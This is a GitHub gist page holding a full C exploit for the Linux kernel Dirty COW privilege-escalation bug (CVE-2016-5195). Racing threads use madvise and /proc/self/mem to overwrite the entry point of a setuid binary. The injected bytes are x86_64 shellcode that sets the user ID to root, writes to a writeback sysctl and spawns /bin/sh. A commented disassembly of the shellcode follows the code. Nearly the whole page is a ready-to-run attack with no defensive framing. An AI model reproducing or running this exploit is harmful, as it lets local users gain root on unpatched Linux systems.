-
-
Save psrok1/f67e09b2f9efe86f9e748d9da1e4e296 to your computer and use it in GitHub Desktop.
CVE-2016-5195 with dirty_writeback_centisecs setup
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <sys/mman.h> | |
#include <fcntl.h> | |
#include <pthread.h> | |
#include <unistd.h> | |
#include <sys/stat.h> | |
#include <string.h> | |
#include <sys/uio.h> | |
#include <sys/wait.h> | |
void *map; | |
char *name; | |
int die = 0; | |
int success = 0; | |
long offset; | |
long page_x; | |
#ifdef __x86_64__ | |
#define SHELL_SIZE 120 | |
#define BASE_OFF 0x400000 | |
char orig_buf[SHELL_SIZE]; | |
char shelcode[SHELL_SIZE] = "H1\xffH\x89\xfeH\x89\xfajuX\x0f\x05\xe8\x00\x00\x00\x00_H\x8d\x7f=H\xff\xc6j\x02X\x0f\x05H\x89\xc7j0H\x89\xe6H\xff\xc2j\x01X\x0f\x05j\x03X\x0f\x05H1\xf6VH\xbb/bin//shSH\x89\xe7H\x89\xf2j;X\x0f\x05\x90/proc/sys/vm/dirty_writeback_centisecs\x00\x00"; | |
#else | |
#error "unsuported" | |
#endif | |
char *write_ptr = shelcode; | |
char *orig_ptr = orig_buf; | |
void *trigger(void *arg) | |
{ | |
int i,c=0; | |
for(i=0;i<100000000 && !die ;i++) | |
{ | |
c+=madvise(map,offset+SHELL_SIZE,MADV_DONTNEED); | |
if(die) break; | |
} | |
// printf("madvise %d\n",c); | |
} | |
void *overwrite(void *arg) | |
{ | |
int f=open("/proc/self/mem",O_RDWR); | |
int i,c=0; | |
for(i=0;i<100000000 && !die;i++) { | |
lseek(f,(long)map+offset,SEEK_SET); | |
c+=write(f,write_ptr,SHELL_SIZE); | |
} | |
// printf("procselfmem %d\n", c); | |
} | |
void * checker(void *arg){ | |
int i,f; | |
char buf[SHELL_SIZE]; | |
for(i=0;i<100000000;i++) { | |
f=open(name,O_RDONLY); | |
lseek(f,offset+page_x,SEEK_SET); | |
memset(buf,0,SHELL_SIZE); | |
read(f,buf,SHELL_SIZE); | |
close(f); | |
if(memcmp(buf,orig_ptr,SHELL_SIZE)){ | |
die=1; | |
success=1; | |
break; | |
} | |
} | |
} | |
void worker(char *p0,char *p1){ | |
pthread_t pth1,pth2,pth3; | |
write_ptr = p0; | |
orig_ptr = p1; | |
int f=open(name,O_RDONLY); | |
map=mmap(NULL,0x1000,PROT_READ,MAP_PRIVATE,f,page_x); | |
pthread_create(&pth2,NULL,overwrite,NULL); | |
pthread_create(&pth1,NULL,trigger,NULL); | |
pthread_create(&pth3,NULL,checker,NULL); | |
pthread_join(pth1,NULL); | |
pthread_join(pth2,NULL); | |
pthread_join(pth3,NULL); | |
munmap(map,0x1000); | |
close(f); | |
} | |
int main(int argc,char *argv[]) | |
{ | |
int type = 0,f; | |
if (argc<2)return 1; | |
name = argv[1]; | |
f=open(name,O_RDONLY); | |
lseek(f,0x10,0); | |
read(f,&type,2); | |
lseek(f,0x18,0); | |
read(f,&offset,8); | |
if(type == 2) offset -= BASE_OFF; | |
lseek(f,offset,0); | |
read(f,orig_buf,sizeof(orig_buf)); | |
close(f); | |
page_x = offset & ~0xfff; | |
offset -= page_x; | |
// printf("%llx %llx\n",page_x,offset); | |
puts("[*] let make some c0ws dirty"); | |
worker(shelcode,orig_buf); | |
if(success) { | |
puts("[+] ok we have some dirty things going on"); | |
if(!fork()) { | |
execve(argv[1],0,0); | |
} | |
wait(NULL); | |
puts("[*] let's clean up..."); | |
die = 0; | |
worker(orig_buf,shelcode); | |
} | |
return 0; | |
} | |
/* | |
# setresuid | |
0: 48 31 ff xor rdi,rdi | |
3: 48 89 fe mov rsi,rdi | |
6: 48 89 fa mov rdx,rdi | |
9: 6a 75 push 0x75 | |
b: 58 pop rax | |
c: 0f 05 syscall | |
# open /proc/... | |
e: e8 00 00 00 00 call 0x13 | |
13: 5f pop rdi # rdi = base+0x13 | |
14: 48 8d 7f 05 lea rdi,[rdi+0x3d] | |
18: 48 ff c6 inc rsi | |
1b: 6a 02 push 0x2 | |
1d: 58 pop rax | |
1e: 0f 05 syscall | |
# write '0' | |
20: 48 89 c7 mov rdi,rax | |
23: 6a 30 push 0x30 | |
25: 48 89 e6 mov rsi,rsp | |
28: 48 ff c2 inc rdx | |
2b: 6a 01 push 0x1 | |
2d: 58 pop rax | |
2e: 0f 05 syscall | |
# close | |
30: 6a 03 push 0x3 | |
32: 58 pop rax | |
33: 0f 05 syscall | |
# spawn shell | |
35: 48 31 f6 xor rsi,rsi | |
38: 56 push rsi | |
39: 48 bb 2f 62 69 6e 2f movabs rbx,0x68732f2f6e69622f | |
40: 2f 73 68 | |
43: 53 push rbx | |
44: 48 89 e7 mov rdi,rsp | |
47: 48 89 f2 mov rdx,rsi | |
4a: 6a 3b push 0x3b | |
4c: 58 pop rax | |
4d: 0f 05 syscall | |
4f: 90 nop | |
# strings | |
50: /proc/sys/vm/dirty_writeback_centisecs | |
76: 00 (NULL) | |
*/ |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment